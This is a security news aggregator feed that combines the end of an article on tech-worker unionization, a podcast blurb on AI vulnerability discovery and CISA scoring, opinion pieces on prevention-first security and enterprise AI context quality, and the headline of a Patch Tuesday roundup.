<p class="wp-block-paragraph"><strong>Expect hardball tactics. </strong>Management may play hardball during the time between when organizers announce their intention to unionize and the actual vote. For example, management can threaten to fire foreign-born workers in the US on H-1B visas if they support the union. Those workers would then have just 60 days to find a new sponsoring employer or lose their H-1B status, according to a recent <a href="https://techworkerscoalition.org/blog/2025/03/14/immigrant-rights-are-labor-rights-tech-workers-and-h-1b-visas/" target="_blank" rel="noreferrer noopener">Tech Workers Coalition blog post</a>.</p>



<p class="wp-block-paragraph">And at venture capital-backed startups, investment agreements sometimes require management to attest there is no union activity — meaning a public organizing drive can trigger funding withdrawal. Or, if a unionized company is acquired, the new management can dissolve the union overnight by reclassifying unionized workers as new hires.</p>



<p class="wp-block-paragraph">With these sobering facts in mind, here is how organizers who have done it describe the process of creating a union.</p>



<h2 class="wp-block-heading">Step 1: Start a conversation with your co-workers</h2>



<p class="wp-block-paragraph">At the University of California, a two-tier system had evolved where some tech workers were unionized and some weren’t, Belasco says. Management created new titles that fell outside the union even though they had similar job descriptions and responsibilities to those in the union. Those nonunion employees received lower pay and benefits than their unionized peers, which created resentment and instability.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Max Belasco from the UCLA chapter of UPTE-CWA</p>
</figcaption></figure><p class="imageCredit">Zac Goldstein</p></div>



<p class="wp-block-paragraph">Belasco and other organizers wanted to eliminate that division by bringing everyone under the same contract. But when they began their unionization drive, “the biggest barrier we faced wasn’t management opposition — it was that people felt this was just the best-case scenario realistically available: ‘We have this job at the university, we have concerns about automation and layoffs, but what can we really do about it?'” he says.</p>



<p class="wp-block-paragraph">The antidote to that fatalism, organizers say, is simple: “Just start talking to your immediate co-workers. Are they experiencing the same challenges you are experiencing?” says McAvinney. “There’s no need to start talking about a union at this point.”</p>



<p class="wp-block-paragraph">Just get a consensus and start building a group of like-minded individuals, Thompson advises. “Always start with one-on-one conversations, and that’s what you should do the whole time. That’s the key to organizing,” he says.</p>



<p class="wp-block-paragraph">Tech workers often think they’re a special case, says Thompson, and therefore that unionization isn’t a good fit. “You’re not special. You are a company of workers, you are organizing, and there is a playbook for that. Trust the process, because it tends to work pretty well,” he says.</p>



<h2 class="wp-block-heading">Step 2: Who’s on board, and who’s not? Map your workplace, but keep it quiet</h2>



<p class="wp-block-paragraph">Once there’s a consensus, continue to grow your network. Keep a list of everyone you’ve spoken with and note their disposition: “Is this person union-friendly or anti-union? Would they be a strong organizer?” Thompson says.</p>



<p class="wp-block-paragraph">Maintaining secrecy early on is essential, because anti-union tactics will start immediately, and that can stop union organizing before it can gain momentum.</p>



<p class="wp-block-paragraph">“Generally, employers do not want to share power with their workforce,” McAvinney says. Employers will deploy every means at their disposal to stop organizing efforts and peel away potential yes votes.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="839" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Alan McAvinney from Alphabet Workers Union-CWA</p><br></figcaption></figure><p class="imageCredit">Aran Per Ink</p></div>



<p class="wp-block-paragraph">“If you look at historical examples, having 70% approval before the employer finds out about you results in a high percentage of wins when you actually cast the vote. Historically, that’s an effective buffer,” he says.</p>



<p class="wp-block-paragraph">There’s a real threat of firing and layoffs<em>.</em> The traditional tech worker belief that job mobility makes collective action unnecessary is now being tested by a tighter job market, McAvinney says, noting that workers who many believe <a href="https://www.newsweek.com/google-fires-thanksgiving-four-workers-crush-dissent-1474102" target="_blank" rel="noreferrer noopener">were fired for speaking out</a> back in 2019 were a galvanizing factor in his union’s formation.</p>



<p class="wp-block-paragraph">“You generally don’t want to be in a situation where the employer feels comfortable firing everyone. Part of that is thinking from a cynical standpoint about what the consequences would be to the employer if they did fire everyone,” he says.</p>



<p class="wp-block-paragraph">One-on-one conversations that include personally asking co-workers to keep conversations confidential are key to keeping things quiet, Belasco says. When <a href="https://upte.org/news/2100-tech-workers-vote-to-join-upte" target="_blank" rel="noreferrer noopener">2,100 UC tech workers voted to unionize</a> in May, 96% voted in favor. To stay out of earshot of managers, avoid employee surveillance tools, and sidestep conference calls that could be recorded, organizers met with workers in their homes.</p>



<p class="wp-block-paragraph">“That tactic is probably what made the difference between winning the election and getting the majority we got,” he says.</p>



<h2 class="wp-block-heading">Step 3: Find the right union affiliation or go it alone</h2>



<p class="wp-block-paragraph">“Running a campaign against major employers requires the resources and expertise of the larger labor movement, even if workers publicly present as independent,” says <a href="https://www.ilr.cornell.edu/people/kate-l-bronfenbrenner">Kate Bronfenbrenner</a>, director of labor education research and senior lecturer emeritus at Cornell University’s School of Industrial and Labor Relations.</p>



<p class="wp-block-paragraph">Options include the <a href="https://cwa-union.org/" target="_blank" rel="noreferrer noopener">Communications Workers of America</a> (CWA), <a href="https://www.seiu.org/" target="_blank" rel="noreferrer noopener">Service Employees International Union</a> (SEIU), and the <a href="https://www.opeiu.org/" target="_blank" rel="noreferrer noopener">Office and Professional Employees International Union</a> (OPEIU), among others. Another resource, the <a href="https://techworkerscoalition.org/">Tech Workers Coalition</a> (TWC), provides training on organizing tactics, AI-in-workplace issues, and contract negotiation, and can match workers to the right unions for their needs.</p>



<p class="wp-block-paragraph">The <a href="https://www.alphabetworkersunion.org/" target="_blank" rel="noreferrer noopener">Alphabet Workers Union</a> decided early on to affiliate with CWA. “They gave us a bunch of support early on in our campaign with no strings attached,” McAvinney says.</p>



<p class="wp-block-paragraph">Kickstarter is organized through OPEIU, Thompson says. “They’ll usually have resources and staff that can help you through the next steps: collecting signatures in support of a union, bringing that to management, holding a vote — the more formalized things that interact with US labor law. They’ll also help with organizing along the way,” he says.</p>



<p class="wp-block-paragraph">For workers at institutions where a union already exists, there may be a faster path. Organizers at UCLA did what’s called a “unit modification,” aligning with UPTE. By organizing under UPTE, the workers didn’t have to negotiate a new contract from scratch — they joined an already-negotiated contract covering existing UPTE tech members, which put them in “a much stronger position” than starting fresh, Belasco says.</p>



<h2 class="wp-block-heading">Step 4: Choose your union model: majority vs. pre-majority or minority</h2>



<p class="wp-block-paragraph">Assess what’s practical for your organizing effort. In a majority union, more than 50% of all workers in a defined bargaining unit must vote to join the union through an NLRB-supervised election in the private sector, or a Public Employment Relations Board (PERB)-supervised election for public sector workers.</p>



<p class="wp-block-paragraph">The NLRB must certify the union, which then operates under its legal protections. This means, for example, that the employer must bargain, negotiated contracts are enforceable, violations must go to the NLRB or arbitration, and workers can’t be dismissed without just cause.</p>



<p class="wp-block-paragraph">A pre-majority or minority union is a minority labor organization operating without NLRB protections or collective bargaining agreements. “Pre-majority means that workers are able to demonstrate majority support — through signed cards, petitions, a walkout, or everyone wearing solidarity T-shirts — without going through a formal election,” Bronfenbrenner says.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Kate Bronfenbrenner from the School of Industrial and Labor Relations, Cornell University</p><br></figcaption></figure><p class="imageCredit">ILR School/Cornell University</p></div>



<p class="wp-block-paragraph">The Alphabet Workers Union-CWA (AWU-CWA) formed as a pre-majority union because achieving majority status across a globally distributed workforce of over 100,000 was not a realistic near-term goal. “An underground model where you try to reach 70% support across a workforce of over 100,000 people isn’t realistic,” McAvinney says.</p>



<p class="wp-block-paragraph">A pre-majority union can still make a difference, he says. For example, the Alphabet Workers Union-CWA convinced management to offer voluntary exit packages — buyouts — prior to announcing layoffs.</p>



<p class="wp-block-paragraph">For smaller organizations, a majority union may be the more practical option — it’s more attainable, McAvinney says. “I don’t think [the pre-majority union model] is the correct thing to do in all situations. I certainly would not recommend it to a 200-person shop.”</p>



<p class="wp-block-paragraph">Kickstarter, which had fewer than 100 employees, was able to form a majority union, with 55% voting to organize.</p>



<p class="wp-block-paragraph">Ultimately, says McAvinney, “there’s no inflection point where you go from being able to win nothing to winning everything, even with a contract and a supermajority. But the more people you have who are willing and able to fight for what they want, the more you’ll be able to get.”</p>



<h2 class="wp-block-heading">Step 5: Who should — and should not — be in your union?</h2>



<p class="wp-block-paragraph">Belasco’s situation at UCLA illustrates a broader strategic choice that every organizing campaign must make. He had been in a union position in educational technology when he was told his role would be reclassified as a non-union position.</p>



<p class="wp-block-paragraph">“I was given a choice: apply to the new non-union position to continue doing the work I’d trained for, or stay in my union position doing service desk work I wasn’t used to,” he says. “Essentially, it was a choice between job security and career progression.”</p>



<p class="wp-block-paragraph">Belasco joined a “wall-to-wall” union, which represents a broad range of university professional and technical employees across the UC system rather than a single job category, such as engineers or tech professionals.</p>



<p class="wp-block-paragraph">Kickstarter United is another example of a wall-to-wall union. “It’s not just the engineers who are unionized, but also customer support, designers — everyone,” Thompson says.</p>



<p class="wp-block-paragraph">Wall-to-wall unions are more powerful, but they’re also more difficult to achieve. <a href="https://www.law.cornell.edu/uscode/text/29/159" target="_blank" rel="noreferrer noopener">Under US labor law</a>, “professionals have to vote separately on whether they want to be combined with other workers,” says Bronfenbrenner. “You can never have a wall-to-wall unit without giving professionals the chance to decide whether they want to be separate.”</p>



<p class="wp-block-paragraph">The law’s “professional employees” category includes roles like software engineers and developers but not necessarily others. For example, customer support specialists and QA analysts would fall into the “non-professional workers” category.</p>



<p class="wp-block-paragraph">“For decades, the pattern was either to organize everybody except the engineers, or manage to organize the engineers and fail to bring in everybody else — neither of which builds real worker power,” says <a href="https://www.linkedin.com/in/simonerobutti/" target="_blank" rel="noreferrer noopener">Simone Robutti</a>, an organizer with Tech Workers Coalition Global, an international branch of TWC based in Berlin.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> width="959" height="713" sizes="auto, (max-width: 959px) 100vw, 959px"&gt;<figcaption class="wp-element-caption"><p>Simone Robutti from Tech Workers Coalition Global</p><br></figcaption></figure><p class="imageCredit">TWC</p></div>



<h2 class="wp-block-heading">Step 6: You won the vote. Get ready for what comes next</h2>



<p class="wp-block-paragraph">Winning a union vote means having a seat at the table, says Thompson. “Once the workers have come together and agreed they want that seat, you bring that to management, and they have a chance to voluntarily recognize a union,” he says.</p>



<p class="wp-block-paragraph">But in most cases employers contest the results, which must be certified by the NLRB or PERB. That process, in which the employer uses various tactics to challenge the legitimacy of the outcome, can take weeks or months.</p>



<p class="wp-block-paragraph">Unfortunately, the legal framework that is supposed to protect workers during this process has been <a href="https://workerorganizing.org/elon-musk-spacex-nlrb-15975/#:~:text=CAN%20THE%20NLRB%20STILL%20ENFORCE%20LAWS%3F" target="_blank" rel="noreferrer noopener">significantly weakened</a> in the last few years. In a potentially more ominous development, <a href="https://apnews.com/article/amazon-nlrb-unconstitutional-spacex-elon-musk-ab42977117d883e97110a7bf8e8b257f" target="_blank" rel="noreferrer noopener">SpaceX</a>, <a href="https://apnews.com/article/amazon-nlrb-50ee06d87d4eaef22386382761335ef8" target="_blank" rel="noreferrer noopener">Amazon</a>, <a href="https://www.huffpost.com/entry/trader-joes-attorney-nlrb-unconstitutional_n_65b41e7ae4b014b873b11cc2" target="_blank" rel="noreferrer noopener">Trader Joe’s</a>, <a href="https://news.bloomberglaw.com/daily-labor-report/starbucks-is-latest-company-to-call-labor-board-unconstitutional" target="_blank" rel="noreferrer noopener">Starbucks</a>, and the <a href="https://capitalandmain.com/usc-follows-amazon-and-musks-spacex-in-calling-labor-board-unconstitutional" target="_blank" rel="noreferrer noopener">University of Southern California</a> have in separate legal actions <a href="https://www.epi.org/blog/whats-behind-the-corporate-effort-to-kneecap-the-national-labor-relations-board-spacex-amazon-trader-joes-and-starbucks-are-trying-to-have-the-nlrb-declared-unconstitutional/" target="_blank" rel="noreferrer noopener">challenged the constitutionality of the NLRB</a>, arguing that the agency’s structure violates the separation of powers. The Fifth Circuit Court of Appeals <a href="https://law.justia.com/cases/federal/appellate-courts/ca5/24-50627/24-50627-2025-08-19.html?__cf_chl_f_tk=do9nl63o6rfY2sxOjPeR5MkVGY4u1OTRYOVYjTQTOG0-1782836265-1.0.1.1-IXqkGFSiOH5hYYOqqrEqH6VFIApNL3MRHW6YNiDwERI" target="_blank" rel="noreferrer noopener">upheld injunctions against the NLRB</a> in SpaceX’s case in August 2025 — a serious challenge to the agency’s authority.</p>



<p class="wp-block-paragraph">In the meantime, some companies may disregard negotiated contracts, which can lead to lengthy legal appeals or extended arbitration.</p>



<p class="wp-block-paragraph">“The NLRB can still force an election, but it can’t force a contract, and companies are saying they simply won’t comply,” Bronfenbrenner says. This is where the expertise and resources of affiliation with a major union can help, she adds.</p>



<p class="wp-block-paragraph">As a result, contract negotiations can take far longer than workers might expect. At Kickstarter, for example, two years and four months elapsed from the time of the union vote to the first contract, and that was at a 59-person company with a relatively cooperative employer. At larger companies with more aggressive legal teams, the timeline will be longer.</p>



<p class="wp-block-paragraph">Forming a union is hard work, Robutti says. “It’s not a service you pay for and they protect you. It doesn’t happen spontaneously, and it doesn’t happen magically. It’s the choice to take responsibility for improving your workplace.”</p>
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<title><![CDATA[GLM-5.2: The real security risk? Plus: Vibe hunting, the end of CVSS and updates on Lightwell]]></title>
<description><![CDATA[Author: IBM Technology - Bewertung: 13x - Views:134 Explore the podcast → https://ibm.biz/~UaTgKXYP5

Z.ai’s GLM-5.2 is, according to some, as good at finding vulnerabilities as Mythos. Or at least, close to it. And it’s open weight.

On this episode of Security Intelligence, we dig into how powe...]]></description>
<link>https://tsecurity.de/de/3670299/it-security-video/glm-52-the-real-security-risk-plus-vibe-hunting-the-end-of-cvss-and-updates-on-lightwell/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670299/it-security-video/glm-52-the-real-security-risk-plus-vibe-hunting-the-end-of-cvss-and-updates-on-lightwell/</guid>
<pubDate>Wed, 15 Jul 2026 12:18:07 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: IBM Technology - Bewertung: 13x - Views:134 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/qXGJ7pi-XOo?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Explore the podcast → https://ibm.biz/~UaTgKXYP5<br />
<br />
Z.ai’s GLM-5.2 is, according to some, as good at finding vulnerabilities as Mythos. Or at least, close to it. And it’s open weight.<br />
<br />
On this episode of Security Intelligence, we dig into how powerful, open AI models are bringing frontier-style capabilities to more people, all while the proprietary models are emphasizing safeguards. What does it mean for cybersecurity pros? Security emergency, or a whole lot of hype?<br />
<br />
Then, we explore how CISA’s new BOD 26-04 ditches the old CVSS scoring system for a four-variable model that could reshape how every security team prioritizes vulnerabilities. We also unpack “vibe hunting,” the AI-assisted evolution of threat hunting, and break down the commercial launch of Red Hat and IBM’s Lightwell.<br />
Securing open-source software in the AI era requires new approaches. <br />
Learn how Lightwell does it: https://ibm.biz/~fJaPqPXz3<br />
<br />
<br />
Segments:<br />
00:00 – Intro<br />
01:13 - GLM-5.2 <br />
10:26 - The end of CVSS? <br />
19:25 - Vibe hunting <br />
28:01 - Lightwell’s commercial launch<br />
<br />
The opinions expressed in this podcast are solely those of the participants and do not necessarily reflect the views of IBM or any other organization or entity.<br />
<br />
AI news moves fast. Sign up for a monthly newsletter for AI updates from IBM → https://ibm.biz/~t8bvtICbL<br />
#aisecurity #opensourcesecurity #cvss<br/></p>]]></content:encoded>
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<title><![CDATA[Cybersecurity needs more prevention and less reliance on cure]]></title>
<description><![CDATA[Ask any medical doctor, and they’ll tell you that prevention is better than cure. It’s more cost-effective and it has better outcomes.



The same is true in cybersecurity. But we believe that our industry has veered too far away from this simple concept. We observe that most new tools are detect...]]></description>
<link>https://tsecurity.de/de/3670112/it-security-nachrichten/cybersecurity-needs-more-prevention-and-less-reliance-on-cure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670112/it-security-nachrichten/cybersecurity-needs-more-prevention-and-less-reliance-on-cure/</guid>
<pubDate>Wed, 15 Jul 2026 11:08:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Ask any medical doctor, and they’ll tell you that prevention is better than cure. It’s more cost-effective and it has better outcomes.</p>



<p class="wp-block-paragraph">The same is true in cybersecurity. But we believe that our industry has veered too far away from this simple concept. We observe that most new tools are detection-focused, and we are calling for cyber innovators and venture capital to re-emphasize and invest resources into blocking rather than just discovering problems.</p>



<p class="wp-block-paragraph">The reasons that cybersecurity relies on detection are understandable, and they are based on the history of networked systems. Early systems were fragile. Recovery was slow and downtime was costly. So, the first security controls were designed to restrict unauthorized access. They blocked execution and prevented exploitation, because if an attack succeed – such as a computer virus running successfully – the consequences might have been irreversible.</p>



<p class="wp-block-paragraph">When the internet exploded in the 1990s, prevention solutions multiplied. Vendors developed firewalls and antivirus platforms to stop threats before they started.</p>



<p class="wp-block-paragraph">But attackers adapted, of course, and networks grew more complex. Perimeter controls were no longer good enough on their own. The cyber industry responded with intrusion detection systems and later with <a href="https://www.csoonline.com/article/3829750/4-key-trends-reshaping-the-siem-market.html?utm=hybrid_search">Security Information and Event Management</a>. Detection got a boost from large-scale log aggregation and analytics.</p>



<p class="wp-block-paragraph">This was a great complement to prevention. But it was never meant to replace it.</p>



<h2 class="wp-block-heading">Detection didn’t reduce risk</h2>



<p class="wp-block-paragraph">Security today focuses on visibility, alerting and response. Executives use metrics like mean-time-to-detect and mean-time-to-respond, and compromise is often assumed to be inevitable. But as detection improves, this has not caused a proportional decline in compromise rates.</p>



<p class="wp-block-paragraph">IBM’s <a href="https://www.ibm.com/think/insights/data-matters/cost-of-a-data-breach">Cost of a Data Breach Report</a> consistently shows that faster identification and containment reduce financial impact. But the average global cost of a breach is still millions of dollars – because detection does not prevent the initial compromise.</p>



<p class="wp-block-paragraph">The initial problem continues to come from the usual places: known vulnerabilities, stolen credentials or misconfigurations. In other words, detection reduces impact in the short term, but it does not reduce structural risk.</p>



<h2 class="wp-block-heading">The limits of a detection-first model</h2>



<p class="wp-block-paragraph">When we gather for industry forums like the RSAC Conference, the topics include automation, AI-driven response and operational resilience. These are certainly important, but they have limits. Detection produces false positives and noise. The volume of alerts begins to outpace human capacity to sift through it for the genuine issues. Alert fatigue is real, and talent shortages continue.</p>



<p class="wp-block-paragraph">We observe that the ratio of detection tools versus prevention tools is getting bigger. RSAC Conference runs <a href="https://www.rsaconference.com/rsac-programs/innovation/innovation-sandbox">the largest startup competition</a> in cybersecurity. Over the past three years more than 500 new cybersecurity companies have entered the competition, and we estimate that more than 70 percent of these companies are shipping detection tools, not prevention tools.</p>



<p class="wp-block-paragraph">Detection activates only after a failure has occurred, and unfortunately modern adversaries now operate at machine speed. Vulnerabilities are attacked through automation, and artificial intelligence generates phishing campaigns at a massive scale.</p>



<p class="wp-block-paragraph">As AI lowers barriers to entry and speeds up capabilities, the attack surface will expand even more. Advances in some of the frontier AI models, such as Anthropic’ s Mythos and OpenAI’s GPT-5.5, may unearth previously unknown zero-day risks while chaining together various low-risk vulnerabilities.</p>



<p class="wp-block-paragraph">If that’s not enough, quantum computing raises concerns about <a href="https://www.csoonline.com/article/4180902/reap-now-decipher-later-thats-the-approach-to-cybersecurity-in-the-quantum-age.html">cryptographic resilience</a>. Relying primarily on faster alerting is not the best response to all these threats that will simply multiply faster.</p>



<h2 class="wp-block-heading">Prevention changes the economics</h2>



<p class="wp-block-paragraph">On the other hand, prevention changes defensive economics. To shrink the problem space, a professional can do these things: enable phish-resistant multifactor authentication (MFA), block malicious execution, segment networks and proactively manage vulnerabilities.</p>



<p class="wp-block-paragraph">As exposure decreases, alert volume declines. Detection becomes more effective because noise is reduced.</p>



<p class="wp-block-paragraph">Research shows that organizations have fewer high-impact breaches when they have mature identity governance, proactive patching and zero trust principles. Preventative maturity correlates with reduced incident severity and lower long-term costs. It doesn’t require perfection to be valuable.</p>



<p class="wp-block-paragraph">We think that security leaders, therefore, should reconsider how to define success. Reducing dwell time – the time an attacker is inside your systems – is important. Reducing entry points is fundamental. But when budgets favor post-compromise visibility over preventive architecture and governance, cybersecurity is not fulfilling its original mandate.</p>



<p class="wp-block-paragraph">AI will only amplify the imbalance, as capabilities that once required years of training can now be deployed quickly. Offensive toolkits are readily available.</p>



<h2 class="wp-block-heading">Achieving a better balance</h2>



<p class="wp-block-paragraph">We believe that scalable prevention architectures and capabilities present a better path forward than expanding analyst headcount.</p>



<p class="wp-block-paragraph">Cyber threats will accelerate and detection will remain essential. But our profession shouldn’t be defined by how efficiently we observe compromise. It should be defined by how effectively we reduce the likelihood of compromise in the first place.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Context is becoming AI’s most misunderstood word]]></title>
<description><![CDATA[If you spend enough time in Silicon Valley AI circles, you’ll hear the same message over and over again: AI needs context.



The statement is broadly true. The problem is that “context” has become one of the least precise terms in the industry.



Depending on who is using it, context can mean d...]]></description>
<link>https://tsecurity.de/de/3670110/it-security-nachrichten/context-is-becoming-ais-most-misunderstood-word/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670110/it-security-nachrichten/context-is-becoming-ais-most-misunderstood-word/</guid>
<pubDate>Wed, 15 Jul 2026 11:08:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">If you spend enough time in Silicon Valley AI circles, you’ll hear the same message over and over again: AI needs context.</p>



<p class="wp-block-paragraph">The statement is broadly true. The problem is that “context” has become one of the least precise terms in the industry.</p>



<p class="wp-block-paragraph">Depending on who is using it, context can mean documents, dashboards, reports, metadata, business rules, policies, transaction histories, CRM records, knowledge bases or institutional expertise. The word has become a catch-all for virtually any information that might be made available to a model.</p>



<p class="wp-block-paragraph">As a result, many organizations have started treating context as a volume problem. Conversations quickly turn to larger context windows, additional data sources and broader system access, while far less attention goes toward determining whether that information actually improves the quality of the outcome.</p>



<p class="wp-block-paragraph">What we’re seeing in practice suggests a different way of thinking about the problem. The organizations making the most progress with enterprise AI are not necessarily the ones exposing the largest amount of information to their systems. They are the ones spending the most time understanding which information should influence a decision, which information should not and how to ensure that business logic is applied consistently.</p>



<p class="wp-block-paragraph">That distinction matters because the industry is beginning to repeat a mistake enterprises already made once before.</p>



<h2 class="wp-block-heading"><a></a>Context has become the new ‘big data’</h2>



<p class="wp-block-paragraph">For much of the last two decades, organizations operated under the assumption that collecting more data would naturally produce better decisions. Massive investments were made in data warehouses, reporting platforms, analytics systems and business intelligence tools. Those investments created tremendous value, but they also exposed an important reality: Collecting information and creating clarity are not the same thing.</p>



<p class="wp-block-paragraph">Today, AI is heading down a similar path.</p>



<p class="wp-block-paragraph">Many enterprise AI projects measure progress by counting how much information a model can access. More documents become better than fewer documents. More systems become better than fewer systems. Larger context windows become better than smaller ones. The conversation often assumes that quantity and quality move together.</p>



<p class="wp-block-paragraph">Well, they don’t.</p>



<p class="wp-block-paragraph">According to<a href="https://www.salesforce.com/resources/research-reports/state-of-data-and-analytics/?utm_source=chatgpt.com"> </a><a href="https://www.salesforce.com/resources/research-reports/state-of-data-and-analytics/?utm_source=chatgpt.com">Salesforce research</a>, only 35% of business leaders say they are completely satisfied with their organization’s ability to use data effectively despite years of investment in data infrastructure and analytics. Enterprises learned long ago that information alone does not create understanding. The same lesson applies to AI.</p>



<p class="wp-block-paragraph">When a model gains access to five versions of the same metric, conflicting definitions of a business process or documentation that has not been updated in years, it does not magically resolve those inconsistencies. It consumes them. More context can just as easily increase ambiguity as reduce it.</p>



<p class="wp-block-paragraph">Simply exposing more information to a model does not guarantee better outcomes. What matters is whether the information available to the system helps it make the right decision at the right time.</p>



<h2 class="wp-block-heading"><a></a>Most AI failures are actually context failures</h2>



<p class="wp-block-paragraph">One of the more interesting things we’ve observed over the past year is how many AI projects are blamed for problems that have very little to do with AI.</p>



<p class="wp-block-paragraph">The model answers a question incorrectly, and the immediate assumption is that the model failed. In reality, the underlying issue often sits elsewhere. The organization may have multiple definitions of the metric being requested. Customer information may exist across several systems with conflicting values. Business rules may be documented in one location, partially implemented in another and understood differently by different teams.</p>



<p class="wp-block-paragraph">In many deployments, the issue is not that the AI lacks information. The issue is that it has access to several competing versions of the truth.</p>



<p class="wp-block-paragraph">Anyone who has worked inside a large enterprise will recognize the pattern. Revenue means one thing to finance and something slightly different to sales. Product usage metrics evolve over time. Operational processes change while documentation remains frozen. Human employees learn how to navigate these inconsistencies through experience and institutional knowledge. AI systems inherit them immediately.</p>



<p class="wp-block-paragraph">This is why the conversation around context often misses the point. The challenge is not simply providing more information. The challenge is determining which information should be trusted, how conflicts should be resolved and what business logic should govern the final answer.</p>



<p class="wp-block-paragraph">A single trusted source can be more valuable than a hundred loosely connected ones. A clearly defined rule can be more useful than thousands of pages of documentation. The quality of the context matters far more than the volume.</p>



<h2 class="wp-block-heading"><a></a>Access does not create trust</h2>



<p class="wp-block-paragraph">Many organizations can tell you exactly how their AI systems retrieve information. They can explain retrieval pipelines, vector databases, ranking systems, semantic search architectures and context windows in extraordinary detail.</p>



<p class="wp-block-paragraph">Far fewer can explain how they determine whether the answers produced are consistently correct.</p>



<p class="wp-block-paragraph">That gap becomes especially important in enterprise environments where the cost of an incorrect answer can be substantial. A sales leader making a forecast, a finance team evaluating performance or an operations executive making a resource allocation decision does not care how many documents were retrieved. They care whether the answer is right.</p>



<p class="wp-block-paragraph">Trust has always been one of the hardest problems in enterprise data. According to<a href="https://www.accenture.com/us-en/insights/artificial-intelligence/data-trust-ai-value?utm_source=chatgpt.com"> </a><a href="https://www.accenture.com/us-en/insights/artificial-intelligence/data-trust-ai-value?utm_source=chatgpt.com">Accenture research on data trust and decision making</a>, only about a quarter of employees report high confidence in their organization’s data when making decisions. That challenge does not disappear when AI enters the picture. If anything, it becomes more visible.</p>



<p class="wp-block-paragraph">Organizations frequently measure access because access is easy to quantify. Reliability is harder. Reliability requires understanding whether an answer remains consistent across users, across prompts, across time periods and across changing business conditions. It requires understanding whether the same question produces the same answer and whether that answer reflects the business logic the organization intends to enforce.</p>



<p class="wp-block-paragraph">Those are fundamentally different measurements, and they point to a different definition of success.</p>



<h2 class="wp-block-heading"><a></a>Context requires measurement</h2>



<p class="wp-block-paragraph">One reason this problem is becoming more pronounced is that enterprises accumulate information far faster than they eliminate it.</p>



<p class="wp-block-paragraph">New systems are added, new reports are created, processes evolve. Teams develop local definitions and specialized workflows. Documentation grows continuously, while very little of it gets removed. Over time, organizations build large collections of information that contain years of historical decisions, exceptions, workarounds and competing interpretations.</p>



<p class="wp-block-paragraph">We’ve yet to encounter an enterprise that doesn’t have some version of this problem.</p>



<p class="wp-block-paragraph">That reality turns context into an operational challenge rather than a technical one.</p>



<p class="wp-block-paragraph">Simply connecting AI systems to enterprise information does not improve the quality of that information. In some cases, it exposes longstanding inconsistencies that were previously hidden by human interpretation and tribal knowledge. Gartner has long identified poor data quality as one of the most significant obstacles to successful analytics and AI initiatives because bad inputs inevitably produce unreliable outputs, regardless of how sophisticated the technology becomes.</p>



<p class="wp-block-paragraph">As AI becomes more deeply integrated into business operations, organizations will need new ways to evaluate the context their systems rely on. They will need visibility into how information is being used, where definitions conflict, which sources are trusted and how context quality affects outcomes. Context cannot be treated as a static asset. It must be measured, monitored and improved over time, just as organizations measure the quality of the models and applications built on top of it.</p>



<h2 class="wp-block-heading"><a></a>The shift from access to reliability</h2>



<p class="wp-block-paragraph">The industry has spent the last several years focused on access. How do we connect models to enterprise systems? How do we expose organizational knowledge? How do we give AI visibility into the information people use every day?</p>



<p class="wp-block-paragraph">Those questions were important because they represented genuine technical barriers. Today, many of those barriers are disappearing.</p>



<p class="wp-block-paragraph">Most enterprises can already connect AI systems to data warehouses, applications, dashboards, documents and knowledge repositories. The conversation is beginning to shift toward a more difficult problem: Determining whether those connections actually produce outcomes people trust.</p>



<p class="wp-block-paragraph">That is where the next phase of enterprise AI will be decided.</p>



<p class="wp-block-paragraph">Organizations that treat context as a quantity problem will continue adding more information and hoping accuracy improves. Organizations that treat context as a quality problem will focus on trust, consistency, governance and outcome reliability.</p>



<p class="wp-block-paragraph">The difference between those approaches may sound subtle, but it has enormous implications. One produces systems that can access information. The other produces systems that people are willing to use to make decisions.</p>



<p class="wp-block-paragraph">And in the enterprise, that distinction is ultimately what matters.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a><strong></strong></p>
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<title><![CDATA[Patch Tuesday roundup: Microsoft fixes a monthly record 569 holes; SAP patches a critical memory corruption bug]]></title>
<description><![CDATA[Earlier this month Microsoft warned that, because the latest AI models can now help discover vulnerabilities, CSOs will see a higher volume of security updates every month. It wasn’t kidding.



Today the company issued a record number of patches, with 59 rated as critical. And Microsoft is now r...]]></description>
<link>https://tsecurity.de/de/3669391/it-security-nachrichten/patch-tuesday-roundup-microsoft-fixes-a-monthly-record-569-holes-sap-patches-a-critical-memory-corruption-bug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669391/it-security-nachrichten/patch-tuesday-roundup-microsoft-fixes-a-monthly-record-569-holes-sap-patches-a-critical-memory-corruption-bug/</guid>
<pubDate>Wed, 15 Jul 2026 04:07:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
